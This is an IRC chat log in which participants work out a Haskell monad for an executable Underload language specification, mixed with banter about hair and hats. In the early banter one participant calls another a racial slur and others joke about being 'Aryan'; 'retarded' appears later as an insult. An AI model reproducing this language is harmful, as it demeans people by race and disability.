18:32:31 <quintopia> Vorpal: not wish not = wish.
18:32:32 <elliott> NO
18:32:34 <elliott> I'M A WOMAN
18:32:41 <elliott> quintopia: Classicist scum.
18:32:43 <Vorpal> quintopia, eh, missed that :P
18:34:55 <Gregor> Who's the blondest person here? :P
18:34:59 <Gregor> *blondest male
18:35:08 <kfr> I used to have nearly white hair when I was a kid
18:35:13 <kfr> And blue eyes!
18:35:16 <elliott> ME
18:35:25 <elliott> I'M SO BLOND I'M NOT
18:35:29 <kfr> But then my father's genes kicked in and I became unaryan around age 10-14
18:35:38 <Gregor> When I was a baby I was black, but had near-white blond hair.
18:35:59 <elliott> Gregor is a nigger.
18:36:02 <elliott> Sorry, negro.
18:36:10 <elliott> *was
18:36:11 <elliott> BUT NO LONGER
18:36:13 <kfr> Racist scum :[
18:36:20 <elliott> Therefore, Gregor is Michael Jackson and therefore dead.
18:36:22 <elliott> Ergo, Gregor is a ghost.
18:36:27 <elliott> It stands to reason that he haunts this channel.
18:36:29 <kfr> http://siyobik.info/misc/year_book.jpg left side was when I was like 17, right side around uhm no idea
18:36:57 <kfr> Damn you can't actually see how bright the hair was back then, filthy lighting
18:37:05 <kfr> But let me assure you, it was very Aryan!
18:37:23 <Gregor> http://www.facebook.com/photo.php?pid=30178018&l=1f7b9ff624&id=1055580469 Never mind, I guess my hair didn't lighten up 'til later :P
18:37:30 <Vorpal> I have dark brownish hair but for some reason my beard is a slightly lighter shade of brown. Which is a bit annoying.
18:37:53 <quintopia> my hair is awesome-colored
18:38:02 <olsner> is that a picture of Gregor charging his lazors?
18:38:04 <kfr> http://siyobik.info/misc/e420/user/productive.jpg <- now it's pretty dark blonde, not sure what the colour is called
18:38:04 <elliott> Ugh, this is not going well.
18:38:08 <elliott> A failure stream of As is defined as follows:
18:38:09 <elliott> Successful end is a failure stream.
18:38:09 <elliott> Failure is a failure stream.
18:38:09 <elliott> If x is an A, and xs is a failure stream of As, then Cons x xs is a failure stream.
18:38:18 <Gregor> olsner: Yup, the cameraman was killed when I FIRED MAH LAZAR seconds later.
18:38:23 <elliott> My specification is turning into a mechanical translation of Haskell implementation details to English :P
18:38:35 <elliott> Gregor: Holy shit you look weird.
18:38:53 <olsner> elliott: just quote the haskell code? :)
18:39:03 <elliott> Gregor: I think you were a guido baby.
18:39:06 <elliott> Therefore, Gregor is GvR.
18:39:09 <Gregor> I have a video of my not-birth too. Blue -> black -> white :P
18:39:20 <elliott> olsner: I'm trying to do http://catseye.tc/projects/burro/doc/burro.html but for Underload
18:39:32 <elliott> olsner: But cpressey seems to be much better at it than I :P
18:40:18 <kfr> I was wondering why the programming language looked exactly like Haskell
18:40:30 <kfr> Until I noticed the "reference implementatino in Haskell" part
18:40:40 <Vorpal> Gregor, do you actually follow the hat voting decisions?
18:40:58 <Gregor> Yes
18:41:07 <quintopia> elliott: yeah, that (/) is quite a brilliant piece of work
18:41:10 <Vorpal> Gregor, how many people vote normally?
18:41:14 <Gregor> Vorpal: 1-3
18:41:20 <Vorpal> Gregor, heh
18:41:31 <quintopia> is there a hat vote everyday?
18:41:32 <Vorpal> Gregor, how often do you end up wearing that pirate-style hat?
18:41:41 <Gregor> I have no pirate-style hat.
18:41:48 <Vorpal> Gregor, the black one?
18:41:56 <Gregor> I have at least five black hats.
18:42:07 <Vorpal> Gregor, this one http://codu.org/hats/Tricorn-sm.jpg
18:42:15 <Gregor> Fairly rarely.
18:42:18 <elliott> quintopia: It's not the language he's better at, it's the "specification is executable formal semantics" :P
18:42:24 <Vorpal> Gregor, what is it if not pirate style?
18:42:26 <elliott> (Gregor will now kill me for saying "formal semantics".)
18:42:31 <Gregor> It's an American tricorn.
18:42:40 <Gregor> It postdates the hight of piracy by a century.
18:42:41 <quintopia> aka
18:42:45 <quintopia> a sam adams hat :P
18:42:50 <Vorpal> Gregor, oh :(
18:42:50 <Gregor> *height
18:42:53 <Gregor> Yes, a Sam Adams hat.
18:42:55 <Vorpal> Gregor, you need a pirate style one!
18:43:07 -!- MigoMipo has joined.
18:44:21 <quintopia> a french tricorn!
18:45:09 <elliott> ...wait, how does that work.
18:45:13 <elliott> Ohh.
18:45:23 <elliott> ...wait, what.
18:45:25 <Vorpal> elliott, how does *what* work?
18:45:28 <Vorpal> elliott, hats?
18:45:28 <elliott> This!
18:45:30 <elliott> Yes, hats.
18:45:36 <Vorpal> they work by putting them on your head!
18:45:36 <elliott> I don't understand them
18:45:38 <elliott> in the slightest
18:45:40 <elliott> they're so
18:45:41 <elliott> confusing
18:45:44 <Vorpal> elliott, :D
18:45:44 <Gregor> France: "Surprise sex!"
18:45:51 <elliott> > data FailureStream a = End Stack
18:45:51 <elliott> > | Failure
18:45:51 <elliott> > | Cons a (FailureStream a)
18:45:52 <lambdabot> <no location info>: parse error on input `data'
18:45:52 <lambdabot> <no location info>: parse error on input `|'
18:45:52 <lambdabot> <no location info>: parse error on input `|'
18:45:54 <elliott> Now it's NOT GENERAL AT ALL
18:46:16 <elliott> > data Result = End Stack
18:46:16 <elliott> > | Failure
18:46:17 <elliott> > | Output String Result
18:46:17 <lambdabot> <no location info>: parse error on input `|'
18:46:17 <lambdabot> <no location info>: parse error on input `|'
18:46:18 <lambdabot> <no location info>: parse error on input `data'
18:46:18 <elliott> That's better.
18:46:20 <elliott> Shut up, lambdabot.
18:46:35 <quintopia> Gregor: which hat is the most trilby-like?
18:47:26 <Gregor> quintopia: http://codu.org/hats/LGreyTrilby-med.jpg <-- the one that's a Trilby.
18:47:48 <quintopia> thx. i can never tell what hats are by looking
18:48:14 <elliott> hey, i think it might be a gonad
18:48:17 <elliott> hmm
18:48:18 <elliott> maybe
18:48:19 <elliott> oh
18:48:20 <elliott> if it was generic
18:48:21 <elliott> darn
18:48:24 <elliott> insufficiently gonadic
18:49:20 <elliott> yep
18:49:22 <elliott> it's a gonad
18:49:25 <elliott> sorry NOMAD
18:49:33 <elliott> > andThen :: Result -> (Stack -> Result) -> Result
18:49:34 <lambdabot> Not in scope: type constructor or class `Result'Not in scope: type construc...
18:49:35 <elliott> :DDDDDDDDDDDDDDD
18:50:17 <elliott> > andThen :: Result -> (Stack -> Result) -> Result
18:50:17 <elliott> > End xs `andThen` f = f xs
18:50:17 <elliott> > Failure `andThen` _ = Failure
18:50:17 <elliott> > Output s r `andThen` f = Output s (r `andThen` f)
18:50:18 <lambdabot> <no location info>: parse error on input `='
18:50:18 <lambdabot> Not in scope: type constructor or class `Result'Not in scope: type construc...
18:50:18 <lambdabot> <no location info>: parse error on input `='
18:50:18 <lambdabot> <no location info>: parse error on input `='
18:50:18 <elliott> beautiful
18:50:22 <elliott> FUCK OFF LAMBDABOT
18:50:38 <Vorpal> elliott, you are sure you want it to leave the channel?
18:50:42 <elliott> no
18:50:44 <Vorpal> you will be asking for it back soon
18:50:45 <elliott> i just want it to shut up for a bit
18:50:54 <Vorpal> elliott, use another prefix
18:50:57 <quintopia> >stfu
18:50:59 <elliott> it's literate haskell
18:51:01 <elliott> that's the prefix.
18:51:05 <Vorpal> quintopia, that works?
18:51:12 <elliott> <elliott> it's literate haskell
18:51:12 <elliott> <elliott> that's the prefix.
18:51:12 <quintopia> iunno :P
18:51:17 <elliott> i'm copying it from my file.
18:51:30 <Vorpal> elliott, I saw it first time...
18:51:33 <elliott> :p
18:51:41 <quintopia> elliott: your gonad monad has an enormous continuation
18:51:48 <elliott> absolutely
18:51:55 <Vorpal> quintopia, gonad nomad you mean
18:52:12 <quintopia> possibly
18:52:16 <Vorpal> elliott, btw what are you doing currently
18:52:41 <elliott> Vorpal: writing a formal specification with Underload -- formal in that it contains executable formal semantics for the language
18:52:48 <elliott> which also serves as a reference interpreter
18:53:13 <elliott> (the executable semantics taking precedence over the English text in case of contradiction)
18:53:22 <quintopia> who designed this formal semantics grammar?
18:53:33 <elliott> it's... Haskell
18:53:35 <elliott> what do you mean?
18:53:41 <quintopia> mm
18:53:44 <elliott> (ML was designed for the specification of formal semantics, btw)
18:53:54 <elliott> (and Haskell is close enough that it does it just as well, perhaps even better)
18:56:03 <elliott> anyway, the idea is to improve it sufficiently, get ais523's approval, and then call that the new official Underload specification
19:03:17 <elliott> :t lookup
19:03:17 <lambdabot> forall a b. (Eq a) => a -> [(a, b)] -> Maybe b
19:06:54 <olsner> lookup? consider using Data.Map :)
19:07:09 -!- oerjan has joined.
19:07:16 <elliott> olsner: for 6 keys?
19:07:34 <elliott> besides, this is an executable semantics. dependencies are bad.
19:08:13 <oerjan> <elliott> 08:25:56 <oerjan> hm wolfram alpha says sum(1/log(8^(4k)+1)) diverges. i _think_ that means by the prime number theorem such a prime is likely to exist.
19:08:28 <oerjan> 17:26:11 <elliott> 08:28:52 <oerjan> it _doesn't_ exist, by what http://en.wikipedia.org/wiki/Fermat_number says.
19:08:31 <oerjan> 17:26:11 <elliott> lawl
19:08:43 <elliott> hey you CUT OUT A LINE
19:09:03 <oerjan> of course the first idea requires assuming that these behave like random numbers, which _most_ prime numbers seem to do. just not these.
19:09:21 <elliott> oerjan: so uh, finished your base converter yet? :p
19:09:54 <oerjan> um btw regarding the missing line, this has nothing to do with underload
19:10:14 <elliott> oerjan: erm
19:10:20 <elliott> wasn't it sparked after writing your base converter?
19:10:54 <oerjan> no it was sparked by Ilari mentioning the base 10 minimal prime substring list
19:11:26 <oerjan> as for base converter, my current idea is to actually do decimal arithmetic in underload
19:11:47 <elliott> @hoogle (a -> m a) -> (a -> m a) -> a -> m a
19:11:48 <lambdabot> Data.Generics.Aliases extMp :: (MonadPlus m, Typeable a, Typeable b) => (a -> m a) -> (b -> m b) -> a -> m a
19:11:48 <lambdabot> Data.Generics.Aliases extM :: (Monad m, Typeable a, Typeable b) => (a -> m a) -> (b -> m b) -> a -> m a
19:11:48 <lambdabot> Control.Monad (>=>) :: Monad m => (a -> m b) -> (b -> m c) -> a -> m c
19:11:53 <oerjan> not particularly converting though, except possibly from/to church numerals
19:12:01 <elliott> ah
19:12:02 <elliott> so
19:12:08 <elliott> eval (i:is) = step i >=> eval is
19:12:09 <elliott> nice!
19:12:15 <elliott> TODO: replace it with that after implementing monad instance
19:12:19 <elliott> (thus generalising Result...)
19:12:39 <elliott> then it's just
19:12:40 <oerjan> >=> is a Monad version of Arrow >>>, btw
19:12:43 <elliott> eval [] = End
19:12:47 <elliott> eval (i:is) = step i >=> eval is
19:12:53 <elliott> oerjan: omg, does that mean my result type might be an arrow? :D
19:13:07 <oerjan> because the type subclasses are historically not enforced
19:13:08 <elliott> > data Result = End Stack
19:13:08 <elliott> > | Failure
19:13:08 <elliott> > | Chunk [Word8] Result
19:13:08 <elliott> >
19:13:08 <elliott> > andThen :: Result -> (Stack -> Result) -> Result
19:13:09 <lambdabot> <no location info>: parse error on input `data'
19:13:09 <lambdabot> mueval-core: NotAllowed "These modules have not been loaded:\nL\n"
19:13:09 <elliott> > End xs `andThen` f = f xs
19:13:09 <lambdabot> mueval-core: NotAllowed "These modules have not been loaded:\nL\n"
19:13:09 <lambdabot> Not in scope: type constructor or class `Result'Not in scope: type construc...
19:13:10 <lambdabot> <no location info>: parse error on input `='
19:13:11 <elliott> > Failure `andThen` _ = Failure
19:13:12 <lambdabot> <no location info>: parse error on input `='
19:13:13 <elliott> > Chunk s r `andThen` f = Chunk s (r `andThen` f)
19:13:14 <lambdabot> <no location info>: parse error on input `='
19:13:15 <elliott> obviously, needs typeclasses
19:13:17 <elliott> but andThen is just >>= flipped
19:13:21 <oerjan> in fact the structure is such that they cannot be
19:13:25 <elliott> however you spell it starting with klieilieisei
19:13:26 <elliott> arrow
19:13:28 <elliott> thing
19:13:55 <oerjan> :k Kleisli
19:13:56 <lambdabot> (* -> *) -> * -> * -> *
19:14:02 <oerjan> er
19:14:13 <oerjan> :t Kleisli
19:14:14 <lambdabot> forall a (m :: * -> *) b. (a -> m b) -> Kleisli m a b
19:14:51 <oerjan> yes that's the thing converting from Monad to Arrow, essential just a newtype wrapper to get the kinds right
19:14:57 <oerjan> *ly
19:15:08 -!- pikhq_ has joined.
19:15:13 -!- pikhq has quit (Ping timeout: 250 seconds).
19:15:31 <elliott> oerjan: no i meant
19:15:39 <elliott> oerjan: Kleisli arrow or whatever
19:15:42 <elliott> what >>= was originally called
19:15:44 <elliott> same apart from flipped args
19:15:47 <elliott> it's in category-extras I think
19:15:50 <elliott> as just flip (>>=)
19:16:02 <elliott> *Main> eval [Push [Duplicate, Enclose, Output, Output], Duplicate, Enclose, Output, Output] []
19:16:02 <elliott> Chunk [40,58,97,83,83,41] (Chunk [58,97,83,83] (End []))
19:16:08 <elliott> just going to assume that that's (:aSS):aSS there :D
19:16:17 <elliott> (Word8s because Underload programs can output invalid Unicode)
19:16:22 <elliott> well, invalid UTF-8
19:16:36 <elliott> that structure can also end in Invalid
19:16:43 <elliott> i.e. it's like (Maybe [a]), except lazy
19:16:50 <elliott> [Maybe a], except after Nothing no further elements are allowed
19:16:52 <oerjan> elliott: i vaguely recall that the _actual_ math kleisli arrow is just as close to >=> as to >>=
19:16:57 <elliott> oerjan: hm
19:17:07 <oerjan> it's just a slight change in viewpoint i think
19:17:46 <oerjan> when your category is cartesian closed, anyway
19:17:52 <elliott> I suppose that
19:17:58 <elliott> data Result = End Stack | Failure | Chunk [Word8] Result
19:17:59 <elliott> should be
19:18:13 <elliott> data Result e a = End e | Failure | Chunk a (Result e a)
19:18:20 <elliott> then (Result e) is a monad
19:18:24 <elliott> i think
19:18:28 <elliott> indeed
19:18:30 <elliott> probably
19:18:33 <elliott> wait is it?
19:18:35 <elliott> yes
19:18:36 <oerjan> elliott: an Arrow requires your type to be polymorphic in the argument and result types, though
19:18:36 <elliott> it is
19:18:45 <elliott> oerjan: data Result e a = End e | Failure | Chunk a (Result e a)
19:18:49 <elliott> could a be the argument and e the result?
19:18:50 <elliott> or something?
19:19:03 <oerjan> the reverse
19:19:14 <oerjan> for order
19:19:25 <oerjan> (->) a e for functions e.g.
19:19:40 <elliott> oerjan: ah
19:19:48 <elliott> oerjan: but then (Result a) being a monad is strange
19:19:51 <elliott> because (Result e) is essentially like []
19:20:08 <oerjan> and there is an embedding of functions using the pure function
19:20:14 <oerjan> er, *arr
19:20:24 <oerjan> i think pure is a deprecated synonym
19:20:33 <oerjan> (confuses with Applicative
19:20:34 <oerjan> )
19:20:46 <elliott> oerjan: hm I'm not sure you can map functions to Result
19:20:58 <elliott> so perhaps it isn't an arrow
19:21:01 <oerjan> elliott: as i said, the kinds are wrong for a type being both Monad and Arrow simultaneously
19:21:04 <elliott> right
19:21:09 <elliott> it's more a Monad than an Arrow I believ
19:21:11 <elliott> *believe
19:21:33 <oerjan> all Monads "are" Arrows, but the kinds require the Kleisli wrapper
19:21:43 <elliott> oh, shit
19:21:45 <elliott> i don't have return
19:21:50 <elliott> return :: a -> Result e a
19:21:52 <elliott> because that has to be
19:21:58 <elliott> return x = Chunk x (End y)
19:22:03 <elliott> and we don't know that e is inhabited
19:22:09 <elliott> perhaps it should be "Chunk x Failure", but that seems /weird/
19:22:11 <elliott> :/
19:22:28 <oerjan> hm even Arrows have that kind of return (it's just arr . const, i think)
19:23:00 <elliott> oerjan: I /could/ fix e to Stack
19:23:02 <elliott> but that seems strange
19:23:06 <elliott> being polymorphic in the type of output but not the end
19:23:12 <elliott> admittedly, this is a kind of "single use" monad
19:23:18 <elliott> but I'm having to make it unnecessarily polymorphic /anyway/
19:23:22 <elliott> not being able to go all the way seems stupid
19:24:17 <oerjan> <elliott> (Word8s because Underload programs can output invalid Unicode) <-- only if the program contains them to begin with...
19:24:26 <elliott> oerjan: well, duh
19:24:27 <elliott> oerjan: your point?
19:26:54 <elliott> oerjan: :p
19:27:36 <oerjan> underload programs _are_ intuitively arrows imo, as long as you ignore the "always stack" part
19:27:58 <elliott> oerjan: it's not programs here
19:27:59 <elliott> it's Results
19:28:09 <oerjan> whatever that is
19:28:13 <elliott> > data Result e a = End e
19:28:13 <elliott> > | Failure
19:28:13 <elliott> > | Chunk a Result
19:28:13 <elliott> > deriving (Show)
19:28:14 <lambdabot> <no location info>: parse error on input `data'
19:28:14 <lambdabot> <no location info>: parse error on input `|'
19:28:14 <elliott> like I said
19:28:14 <lambdabot> <no location info>: parse error on input `deriving'
19:28:14 <lambdabot> <no location info>: parse error on input `|'
19:28:20 <elliott> for underlload, e = Stack and a = [Word8]
19:28:29 <elliott> this allows for programs that output infinite output, but still handling invalid programs without error
19:28:33 <elliott> e.g.
19:28:36 <elliott> (abc)Sx
19:28:36 <elliott> ->
19:28:41 <oerjan> somehow i don't think pasting .lhs is a very good idea here :D
19:28:41 <elliott> Chunk "abc" Failure
19:28:44 <elliott> oerjan: INDEED
19:28:55 <oerjan> you could use the \begin{code} version...
19:29:30 <oerjan> well i assume, not that i've tried lhs
19:29:38 <elliott> oerjan: it's Markdown
19:29:40 <elliott> so that would be weird
19:29:53 <elliott> dunno if pandoc would handle that
19:30:03 <oerjan> hm must > be at the beginning of the line?
19:30:05 <elliott> yes
19:30:06 <oerjan> > test
19:30:11 <elliott> even in lhs
19:30:14 <elliott> which stopped me making a table
19:30:16 <oerjan> aww
19:30:17 -!- Wamanuz3 has joined.
19:30:19 <elliott> where LHS = english and RHS = corresponding haskell :D
19:30:23 <elliott> for data types
19:30:33 -!- Wamanuz2 has quit (Ping timeout: 265 seconds).
19:30:35 <elliott> oerjan: with that Kleisli thing, does it auto-derive an Arrow instance?
19:30:36 <elliott> i guess not
19:31:05 <oerjan> um sure
19:31:08 -!- iconmaster has joined.
19:31:21 <oerjan> instance Monad m => Arrow (Kleisli m) where something
19:31:26 <elliott> yeah, what's something :P
19:31:42 <oerjan> pretty obvious, really
19:32:16 -!- asiekierka has quit (Remote host closed the connection).
19:33:14 <elliott> oerjan: yeah but i don't really know Arrows
19:33:15 <elliott> I haven't done them
19:33:17 <elliott> much
19:33:18 <elliott> at all
19:33:34 <oerjan> elliott: C:\Programfiler\Haskell Platform\2010.2.0.0\doc\html\libraries\base-4.2.0.2\src\Control-Arrow.html
19:33:38 <elliott> oerjan: *fail*
19:33:44 <oerjan> wait what :D
19:33:52 <elliott> :D
19:34:03 <elliott> http://www.haskell.org/ghc/docs/latest/html/libraries/base/Control-Arrow.html
19:34:06 <oerjan> hugs always opened the web site
19:34:19 <elliott> i think you _can_ choose not to install the docs
19:34:23 <elliott> but i imagine opening them would just fail
19:34:31 <oerjan> elliott: i wanted to link you the source, but i guess you can just click in there
19:34:39 <elliott> http://www.haskell.org/ghc/docs/latest/html/libraries/base/src/Control-Arrow.html
19:35:19 -!- Mathnerd314 has joined.
19:35:19 <elliott> ooh, maybe I'll make it
19:35:24 <elliott> (Monoid e) => Monad (Result e)
19:35:26 <elliott> and use mzero
19:35:28 <elliott> for the End
19:35:36 <elliott> ARGUABLY, however, that's retarded
19:35:53 <elliott> in the "makes no sense" way
19:36:30 <elliott> @pl \(i:is) -> step i >=> eval is
19:36:30 <lambdabot> ap ((. eval) . (>=>) . step . head) tail
19:36:34 <elliott> hmph
19:36:56 <elliott> @pl foldr (\(i:is) r -> step i >=> r) End
19:36:56 <lambdabot> foldr ((>=>) . step . head) End
19:37:00 <elliott> :D
19:37:03 <elliott> oerjan:
19:37:04 <elliott> eval [] = End
19:37:07 <elliott> eval (i:is) = step i >=> eval is
19:37:09 <elliott> OR----
19:37:15 <elliott> eval = foldr ((>=>) . step . head) End
19:38:11 <elliott> `quote noticed
19:38:16 <HackEgo> 90) <Sgeo> I'd imagine that it already has, and no one noticed
19:38:37 <elliott> oerjan: I wish Control.Monad was called Data.Monad.
19:38:45 <oerjan> elliott: um there shouldn't be any head, surely
19:38:54 <elliott> oerjan: er, why not?
19:39:04 <elliott> <elliott> @pl foldr (\(i:is) r -> step i >=> r) End
19:39:04 <elliott> <lambdabot> foldr ((>=>) . step . head) End
19:39:07 <elliott> oh
19:39:08 <elliott> indeed
19:39:13 <elliott> @pl foldr (\i r -> step i >=> r) End
19:39:13 <lambdabot> foldr ((>=>) . step) End
19:39:22 <elliott> oerjan: ooh, I think that's actually a lot more appealing
19:40:04 <oerjan> but Monad is not a data structure, it's a class...
19:40:38 -!- impomatic has left (?).
19:40:39 <oerjan> admittedly some things in Data are so generalized they've turned into classes too
19:40:58 <elliott> oerjan: well, yes, but Control implies control structure
19:41:04 <elliott> and Haskell doesn't really have any of them
19:41:20 <elliott> well, it has things like "while" generic on monads, but those only act like control structures on "sequential" monads
19:41:30 <elliott> e.g. I have no idea what while would do in the list monad
19:41:50 <elliott> Couldn't match expected type `Word8'
19:41:51 <elliott> against inferred type `[Instruction]'
19:41:51 <elliott> Expected type: [Word8]
19:41:51 <elliott> Inferred type: Stack
19:41:51 <elliott> In the second argument of `(>=>)', namely `eval is'
19:41:51 <elliott> In the expression: step i >=> eval is
19:41:53 <elliott> wat
19:41:57 <oerjan> well while is rather meaningless in a monad without mutable state
19:41:59 <elliott> oh, sweet
19:42:01 <elliott> my program is broken
19:42:03 <elliott> oerjan: indeed
19:42:10 <oerjan> since each iteration cannot see anything different
19:42:11 <elliott> underload.hs:32:22:
19:42:12 <elliott> Couldn't match expected type `a' against inferred type `[Program]'
19:42:12 <elliott> `a' is a rigid type variable bound by
19:42:12 <elliott> the type signature for `>>=' at <no location info>
19:42:12 <elliott> In the first argument of `f', namely `xs'
19:42:13 <elliott> In the expression: f xs
19:42:15 <elliott> In the definition of `>>=': End xs >>= f = f xs
19:42:17 <elliott> let's
19:42:19 <elliott> see
19:42:21 <elliott> andThen was
19:42:29 <elliott> andThen :: Result -> (Stack -> Result) -> Result
19:42:31 <elliott> or
19:42:33 <elliott> generalising
19:42:46 <elliott> andThen :: Result Stack a -> (Stack -> Result Stack b) -> Result Stack b
19:42:46 <elliott> or
19:42:47 <elliott> generalising
19:43:03 <elliott> andThen :: m e a -> (e -> m e b) -> m e b
19:43:05 <elliott> hmm
19:43:06 <elliott> so if we flip
19:43:19 <elliott> andThen :: (m a) e -> (e -> (m a) e') -> (m a) e'
19:43:22 <elliott> indeed
19:43:31 <elliott> it should be (Result a e), as silly as that is
19:43:36 <elliott> this makes return possibly too
19:43:37 <elliott> *possible
19:44:18 <elliott> hm I should rename it from Result
19:44:22 <elliott> oerjan: what would you call (ListT Maybe)?
19:44:31 <elliott> except that Nothing takes an argument
19:44:38 <elliott> so (ListT (Either e)), I guess
19:44:42 <elliott> except
19:44:46 <elliott> yes, that's it
19:44:53 * oerjan isn't very familiar with ListT
19:44:57 <elliott> so (Right []) and (Left foo) are the possible endings
19:45:02 <elliott> oerjan: basically every cons cell is wrapped in the argument
19:45:02 <elliott> i.e.
19:45:03 <elliott> instead of
19:45:06 <elliott> 1 : 2 : 3 : []
19:45:07 <elliott> you get
19:45:15 <elliott> Just (1 : Just (2 : Just (3 : Just [])))
19:45:17 <elliott> or alternatively
19:45:19 <elliott> Just (1 : Nothing)
19:45:23 <elliott> except in this case
19:45:26 <elliott> s/Just/Right/
19:45:29 <elliott> and s/Nothing/Left e/ for some e
19:45:45 <elliott> I'm calling it Result, but really what I call Result should be what I call (Result [Word8] Stack), it's Underload-evaluation-specific
19:45:48 <elliott> FailureStream maybe?
19:45:54 <oerjan> ...i somehow have doubt that's what they usually call ListT...
19:45:54 <elliott> but that's ugly and long.
19:46:04 <elliott> oerjan: I think it is... at least ski in #haskell implied so
19:46:06 <elliott> oerjan: well, this is the actual structure
19:46:14 <oerjan> huh
19:46:16 <elliott> data Foo a e = End e | Failure | Chunk a (Foo a e)
19:47:07 <elliott> in underload evaluation, (End stack) means "I've finished evaluating this program or instruction or whatever, and here's what the stack was at the end", Failure meant "oops, your program is wrong, it executed an invalid instruction / popped from an empty stack / etc.", and "Chunk s r" means "hey, I have some output! print out s now, and my further work is in r"
19:47:09 <elliott> so e.g.
19:47:23 -!- Lymia_ has joined.
19:47:29 <elliott> (x)(foo)S -> Chunk "foo" (End [theQuotation "x"])
19:47:34 <elliott> (foo)Sx -> Chunk "foo" Failure
19:47:42 <elliott> just not sure what to call that generic verison
19:47:42 -!- Lymia has quit (Disconnected by services).
19:47:43 -!- Lymia_ has changed nick to Lymia.
19:47:44 -!- Lymia has quit (Changing host).
19:47:44 -!- Lymia has joined.
19:48:43 <oerjan> well End is pretty returny
19:48:57 <oerjan> and the a looks Writery
19:49:23 <elliott> oerjan: :D
19:49:30 <elliott> oerjan: indeed
19:49:37 <elliott> > instance Monad (Foo a) where
19:49:37 <elliott> > return x = End x
19:49:38 <elliott> > End xs >>= f = f xs
19:49:38 <elliott> > Failure >>= _ = Failure
19:49:38 <elliott> > Chunk s r >>= f = Chunk s (r >>= f)
19:49:38 <lambdabot> <no location info>: parse error on input `instance'
19:49:38 <lambdabot> <no location info>: parse error on input `='
19:49:38 <lambdabot> <no location info>: parse error on input `='
19:49:39 <lambdabot> <no location info>: parse error on input `='
19:49:39 <lambdabot> <no location info>: parse error on input `='
19:49:41 <elliott> (fuck off lambdabot)
19:49:43 <elliott> that's the monad instance
19:49:47 <elliott> I just don't know what to call it
19:50:01 <oerjan> and Failure looks ErrorTy
19:50:06 <elliott> oerjan: :D
19:50:14 <elliott> oerjan: i don't mean "reduce this to simpler monads"
19:50:17 <elliott> i mean literally "what do i call it"
19:50:35 <olsner> the Undermonad
19:51:32 * Sgeo goes to try WebGL
19:51:48 <elliott> olsner: wat
19:51:56 <Sgeo> WebGL + AJAX fascinates me
19:52:07 <olsner> elliott: underload+monad, undermonad'
19:52:43 <olsner> or ULM for UnderLoadMonad, or whatever
19:54:34 -!- TLUL has joined.
19:56:24 <elliott> I wish fail didn't take a tsring
19:56:25 <elliott> *string
19:56:26 -!- azaq23 has joined.
19:56:27 <elliott> why does it do that?
19:57:12 <olsner> so that you can give it to error while you complain about the mistakes of the founding fathers
19:57:46 <elliott> olsner: i pretty much think that spj must have been on crack to fuck up the Prelude as much as he did
19:57:54 <elliott> oerjan why didn't you tell them it sucked when you had the chance!
19:57:55 -!- MigoMipo has quit (Ping timeout: 260 seconds).
19:58:18 <Sgeo> http://people.mozilla.com/~sicking/webgl/ray.html PRETTY
20:00:22 <elliott> oerjan: ooh, eval is actually "foldr ((>=>) . step) return"
20:00:28 <elliott> I have a feeling that might be a rather general concept...
20:00:30 <oerjan> elliott: fail takes a string so that the compiler can pass file and line number to it for do notation match failures. i think.
20:00:37 <elliott> oerjan: "BLAH BLAH BLAH"
20:00:44 <elliott> :t \step -> foldr ((>=>) . step) return
20:00:45 <lambdabot> forall (m :: * -> *) c a. (Monad m) => (a -> c -> m c) -> [a] -> c -> m c
20:00:57 <elliott> what a peculiar type
20:01:09 <elliott> well c is evaluation state
20:01:10 <elliott> so s
20:01:13 <elliott> a is instruction, so i
20:01:14 <olsner> :t foldM
20:01:15 <lambdabot> forall a b (m :: * -> *). (Monad m) => (a -> b -> m a) -> a -> [b] -> m a
20:01:20 <elliott> (i -> s -> m s) -> [i] -> s -> m s
20:01:22 <elliott> aha
20:01:28 <elliott> olsner: not quite
20:01:32 <elliott> hmm
20:01:36 <elliott> :t foldM . flip
20:01:37 <lambdabot> forall a b (m :: * -> *). (Monad m) => (b -> a -> m a) -> a -> [b] -> m a
20:01:38 <olsner> though foldM iirc is a left fold, not a right one
20:01:42 <elliott> right
20:01:44 <elliott> that's the issue
20:01:47 <elliott> this needs to be lazy
20:01:51 <elliott> (i -> s -> m s) -> [i] -> s -> m s
20:01:53 <elliott> quite easy to decipher
20:02:03 <elliott> given (given an instruction, and state, evaluate and return the new state),
20:02:06 <elliott> and a program (list of instructions),
20:02:08 <elliott> and an initial state,
20:02:10 <elliott> return the state
20:02:12 <elliott> @hoogle (i -> s -> m s) -> [i] -> s -> m s
20:02:12 <lambdabot> Data.Foldable foldrM :: (Foldable t, Monad m) => (a -> b -> m b) -> b -> t a -> m b
20:02:12 <lambdabot> Control.Monad zipWithM_ :: Monad m => (a -> b -> m c) -> [a] -> [b] -> m ()
20:02:13 <lambdabot> Control.Monad zipWithM :: Monad m => (a -> b -> m c) -> [a] -> [b] -> m [c]
20:02:17 <elliott> foldrM is exactly it.
20:02:26 <elliott> :)
20:02:39 <elliott> or, wait, what's b there
20:02:47 <elliott> oh, initial state
20:03:05 <elliott> foldrM step []
20:04:09 <elliott> hmm
20:04:15 <olsner> if you add some transformer you could make it e.g. mapM_ step
20:04:17 <elliott> @check (\f g x -> f x == g x)
20:04:17 <lambdabot> Overlapping instances for GHC.Show.Show (t -> a)
20:04:17 <lambdabot> arising from a use of `...
20:04:23 <elliott> olsner: lol
20:05:10 <olsner> elliott: lol why?
20:05:32 <elliott> olsner: well i can't imagine what transformer it would be
20:05:45 <elliott> although (Result a e) is basically (ListT (Either e) a) I think
20:06:20 <elliott> foldrM step []
20:06:20 <elliott> :: (Foldable t) => t Instruction -> Result [Word8] Stack
20:06:21 <elliott> awesome
20:06:41 <olsner> looks like a match for StateT s, but maybe that applies your state transformations backwards
20:06:59 <elliott> olsner: well
20:06:59 <olsner> reverse state monad :)
20:07:04 <elliott> > data Result a e = End e
20:07:04 <elliott> > | Failure
20:07:04 <elliott> > | Chunk a (Result a e)
20:07:04 <elliott> > deriving (Show)
20:07:05 <lambdabot> <no location info>: parse error on input `deriving'
20:07:05 <lambdabot> <no location info>: parse error on input `|'
20:07:05 <lambdabot> <no location info>: parse error on input `data'
20:07:05 <lambdabot> <no location info>: parse error on input `|'
20:07:07 <elliott> that's just the result
20:07:11 <elliott> *type
20:07:14 <elliott> (Result a) being the monad
20:07:24 <elliott> Chunk is partial output, End gets the stack at the end
20:07:27 <elliott> Failure is obvious
20:07:51 <elliott> olsner: basically, (Result a e) is like (Maybe ([a], e)), except that the "a"s are delivered lazily
20:08:04 <elliott> the latter can't handle infinite output when you evaluate recursively
20:08:07 <elliott> but the former can
20:08:12 -!- Lymia_ has joined.
